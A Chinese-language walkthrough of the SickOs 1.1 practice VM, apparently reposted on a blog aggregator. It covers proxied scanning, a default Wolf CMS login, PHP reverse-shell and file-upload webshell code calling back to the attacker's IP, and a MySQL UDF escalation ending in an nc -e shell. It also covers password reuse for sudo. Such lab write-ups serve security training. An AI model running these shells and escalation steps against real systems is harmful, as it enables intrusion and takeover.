【SickOs1.1靶場滲透】

文章目錄

一、基礎信息

二、信息收集

三、反彈shell

四、提權


一、基礎信息

Kali IP:192.168.20.146

靶機IP:192.168.20.150

二、信息收集

端口掃描

nmap -sS -sV -p- -A 192.168.20.150

開放了22、3128端口,8080端口顯示關閉

22端口 openssh 5.9p1

3128端口 squid 3.1.19 //前面靶場遇到過,可能又要設置代理

直接目錄掃描沒有發現,設置一下代理訪問服務器80端口發現有顯示

設置代理掃描一下目錄

dirsearch -u http://192.168.20.150/ --proxy=192.168.20.150:3128 -x 403

發現兩個路徑,訪問一下

Robots文件顯示了一個新路徑:http://192.168.20.150/wolfcms/,為wolf cms

http://192.168.20.150/connect,好像沒什么用

繼續掃描一下上面wolfcms的目錄文件

dirsearch -u http://192.168.20.150/wolfcms --proxy=192.168.20.150:3128 -x 403

其他路徑訪問了下好像沒啥有用的

百度查找wolfcms默認后臺登陸地址/?/admin拼接跳轉成功

http://192.168.20.150/wolfcms/?/admin/login

弱口令admin:admin成功登錄到后臺

三、反彈shell

1、Php反彈shell

打開一個page頁面發現可以編輯php代碼,寫入php代碼反彈shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.20.146/8080 0>&1'"); ?>

保存后刷新一下頁面即可反彈shell

2、文件上傳反彈shell

登錄到系統后可以發現cms版本為0.8.2,搜索一下漏洞,發現有文件上傳漏洞

找到文件上傳點

上傳shell.php

<?php
$sock=fsockopen('192.168.20.146',8080);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

開啟監聽端口,訪問http://192.168.20.146/wolfcms/public/shell.php,成功反彈shell

python -c 'import pty;pty.spawn("/bin/bash")'

四、提權

1、sudo提權需要賬戶密碼,這里沒有

2、嘗試數據庫udf提權

查看根目錄信息,發現config.php文件,查看內容發現數據庫信息

當前數據庫:wolf,賬戶密碼:root/john@123

登錄到數據庫查看到了admin的賬戶信息

但是解不出密碼

UDF,即user defined function,在MySQL中,UDF允許用戶創建自己的函數,這些函數可以在SQL查詢語句中使用,類似于內置函數。通過使用UDF,用戶可以對數據庫進行自定義操作,以滿足業務需求,或實現數據庫本身并不支持的一些特定功能。
前提條件:
1、擁有MySQL數據庫賬號,且該賬號對MySQL擁有create insert delete等權限,以創建和使用函數
2、secure_file_priv為空,若secure_file_priv指定的目錄恰好是我們提權過程中用到的目錄,也可以

show global variables like 'secure%';

secure_file_priv值為空則可寫,可以考慮UDF提權

secure_file_priv值為指定路徑,則指定路徑可寫

show variables like '%compile%';

可以看到系統版本,這可以確定等下我們要用的腳本。

select @@plugin_dir;?? ? ? ? ? ? ? ? ? ? ?#查找具體目錄

select @@basedir; ? ? ? ? ? ? ? ? ? ? ? #查看mysql目錄

kali上尋找exp

find / -name "*mysqludf*" 2>/dev/null

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root

python -m http.server 8090

靶機上

cd /tmp

wget http://192.168.20.146:8090/lib_mysqludf_sys_64.so

提權操作

use mysql;
create table hack(line blob); #新建一個表,用來存放本地傳來的udf文件的內容
insert into hack values(load_file('/tmp/lib_mysqludf_sys_64.so'));  #在hack中寫入udf文件內容
select * from hack into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';  #將udf文件內容傳入新建的udf文件中
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';  #導入udf函數
select sys_exec('nc 192.168.20.146 9090 -e /bin/bash'); #執行

但是在將udf文件內容傳入新建的udf文件中時失敗了,提示不能創建和寫入文件,不知道咋回事,secure_file_priv值是為空的呀。

Mysql_udf提權失敗

3、Suid位提權

find / -perm -u=s -type f 2>/dev/null

搜索了一下沒有可利用的

4、內核提權

Uname -a

Cat /etc/*release

搜索漏洞

似乎沒有有效的,嘗試了幾個也是沒成功

只能繼續收集信息

看到/etc/passwd文件里還有個用戶,嘗試用已知的數據庫密碼登錄成功。

賬戶密碼:sickos/john@123

發現可用sudo提權:sudo su,提權成功

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/62962.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/62962.shtml
英文地址,請注明出處:http://en.pswp.cn/web/62962.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【HF設計模式】03-裝飾者模式

聲明&#xff1a;僅為個人學習總結&#xff0c;還請批判性查看&#xff0c;如有不同觀點&#xff0c;歡迎交流。 摘要 《Head First設計模式》第3章筆記&#xff1a;結合示例應用和代碼&#xff0c;介紹裝飾者模式&#xff0c;包括遇到的問題、遵循的 OO 原則、達到的效果。 …

Mysql數據庫中,什么情況下設置了索引但無法使用?

在MySQL數據庫中&#xff0c;即使已經正確設置了索引&#xff0c;但在某些情況下索引可能無法被使用。 以下是一些常見的情況&#xff1a; 1. 數據分布不均勻 當某個列的數據分布非常不均勻時&#xff0c;索引可能無法有效地過濾掉大部分的數據&#xff0c;導致索引失效。 …

秒殺業務中的庫存扣減為什么不加分布式鎖?

前言 說到秒殺業務的庫存扣減&#xff0c;就還是得先確認我們的扣減基本方案。 秒殺場景的庫存扣減方案 一般的做法是&#xff0c;先在Redis中做扣減&#xff0c;然后發送一個MQ消息&#xff0c;消費者在接到消息之后做數據庫中庫存的真正扣減及業務邏輯操作。 如何解決數據…

ChatGPT生成測試用例的最佳實踐(一)

前面介紹的案例主要展示了ChatGPT在功能、安全和性能測試用例生成方面的應用和成果。通過ChatGPT生成測試用例&#xff0c;測試團隊不僅可以提升工作效率&#xff0c;還可以加快測試工作的速度&#xff0c;盡早發現被測系統中的問題。問題及早發現有助于提高軟件的質量和用戶滿…

基于Redis實現令牌桶算法

基于Redis實現令牌桶算法 令牌桶算法算法流程圖優點缺點 實現其它限流算法 令牌桶算法 令牌桶是一種用于分組交換和電信網絡的算法。它可用于檢查數據包形式的數據傳輸是否符合定義的帶寬和突發性限制&#xff08;流量不均勻或變化的衡量標準&#xff09;。它還可以用作調度算…

操作系統(8)死鎖

一、概念 死鎖是指在一個進程集合中的每個進程都在等待只能由該集合中的其他進程才能引起的事件&#xff0c;而無限期地僵持下去的局面。在多任務環境中&#xff0c;由于資源分配不當&#xff0c;導致兩個或多個進程在等待對方釋放資源時陷入無限等待的狀態&#xff0c;這就是死…

Micropython 擴展C模塊<HelloWorld>

開發環境 MCU&#xff1a;Pico1&#xff08;無wifi版&#xff09;使用固件&#xff1a;自編譯版本開發環境&#xff1a;MacBook Pro Sonoma 14.5開發工具&#xff1a;Thonny 4.1.6開發語言&#xff1a;MicroPython 1.24 執行示例 在github上獲取micropython&#xff0c;我使…

并查集基礎

abstract 并查集&#xff08;Union-Find Set&#xff09;是一種數據結構&#xff0c;主要用于處理動態連通性問題&#xff08;Dynamic Connectivity Problem&#xff09;&#xff0c;例如在圖論中判斷兩點是否屬于同一個連通分量&#xff0c;以及動態地合并集合。 它廣泛應用…

CloudberryDB(一)安裝部署多節點分布式數據庫集群

CloudberryDB&#xff1a; 一個 Greenplum Database 分布式數據庫開源版本的衍生項目&#xff0c; 針對開源 Greenplum Database 優化的地方&#xff0c; CloudberryDB制定了路線圖&#xff08;https://github.com/orgs/cloudberrydb/discussions/369&#xff09;并在逐步改…

解決Logitech G hub 無法進入一直轉圈的方案(2024.12)

如果你不是最新版本無法加載嘗試以下方案&#xff1a;刪除AppData 文件夾下的logihub文件夾 具體路徑&#xff1a;用戶名根據實際你的請情況修改 C:\Users\Administrator\AppData\Local 如果你有通過lua編譯腳本&#xff0c;記得備份&#xff01;&#xff01; ↓如果你是最新…

數據庫范式與反范式化:如何權衡性能與數據一致性

目錄 1. 什么是數據庫范式&#xff08;Normalization&#xff09;&#xff1f;第一范式&#xff08;1NF&#xff09;第二范式&#xff08;2NF&#xff09;第三范式&#xff08;3NF&#xff09; 2. 什么是反范式化&#xff08;Denormalization&#xff09;&#xff1f;3. 反范式…

Nmap使用總結

0X00 背景 nmap是測試中常用的網絡探測工具&#xff0c;但是這回簡單的操作&#xff0c;一直了解不深入&#xff0c;現在深入的了解和學習一下。 在文章結構上&#xff0c;我把平時常用的內容提前了&#xff0c;以便再次查閱的時候&#xff0c;比較方便。 0X01 安裝 nmap可…

【記錄49】vue2 vue-office在線預覽 docx、pdf、excel文檔

vue2 在線預覽 docx、pdf、excel文檔 docx npm install vue-office/docx vue-demi0.14.6 指定版本 npm install vue-office/docx vue-demi <template><VueOfficeDocx :src"pdf" style"height: 100vh;" rendere"rendereHandler" error&…

MVC模式的理解和實踐

在軟件開發中&#xff0c;MVC&#xff08;Model-View-Controller&#xff09;模式是一種經典的設計模式&#xff0c;特別適用于構建用戶界面復雜的Web應用程序。MVC通過將應用程序的業務邏輯、數據顯示和用戶交互分離&#xff0c;使代碼結構更加清晰&#xff0c;易于維護和擴展…

[A-22]ARMv8/v9-SMMU多級頁表架構

ver0.1 [看前序文章有驚喜,關注W\X\G=Z+H=“浩瀚架構師”,可以解鎖全部文章] 前言 前文我們對SMMU的系統架構和基本功能做了簡要的介紹,現在大家大致對SMMU在基于ARM體系的系統架構下的總線位置和產品形態有了基本的了解。這里我們還是簡單做個前情回顧,從總線架構角度看…

【UE5 “RuntimeLoadFbx”插件】運行時加載FBX模型

前言 為了解決在Runtime時能夠直接根據FBX模型路徑直接加載FBX的問題&#xff0c;推薦一款名為“RuntimeLoadFBX”的插件。 用法 插件用法如下&#xff0c;只需要指定fbx的地址就可以在場景中生成Actor模型 通過指定輸入參數“Cal Collision”來設置FBX模型的碰撞 還可以通過…

(11)(3.1) ESC接地和接線注意事項

文章目錄 前言 1 歸納 2 電容式 3 電阻 前言 ESC 接地問題由 3 種形式的 ESC 信號/耦合問題組成&#xff0c;即電阻、電容和電感。在制造飛機時&#xff0c;應考慮這三個因素。 1 歸納 這是電流突然變化導致系統中出現大電壓尖峰的趨勢。電源系統中的電感主要是由 ESC 和…

精品基于Python實現的微信小程序校園導航系統-微信小程序

[含文檔PPT源碼等] [包運行成功永久免費答疑輔導] 《django微信小程序校園導航系統》該項目采用技術Python的django框架、mysql數據庫 &#xff0c;項目含有源碼、文檔、PPT、配套開發軟件、軟件安裝教程、項目發布教程、核心代碼介紹視頻等 軟件開發環境及開發工具&#xf…

Rstudio-server的安裝、配置、維護

一、安裝Rstudio-server (1)安裝R語言&#xff1a; sudo apt install r-base # 如果沒有管理員權限無法操作 # 這樣裝上R默認在/usr/bin/R其實基本上的流程都可以參考posit的官網&#xff08;也就是Rstudio的官網&#xff09;&#xff1a; https://posit.co/download/rstudio…

Python序列的應用(八):元組、字典

前言&#xff1a;在Python編程語言中&#xff0c;序列是一種非常重要的數據結構&#xff0c;它允許我們存儲和操作有序的數據集合。在前幾期的內容中&#xff0c;我們已經探討了列表&#xff08;List&#xff09;和集合&#xff08;Set&#xff09;這兩種序列的應用&#xff0c…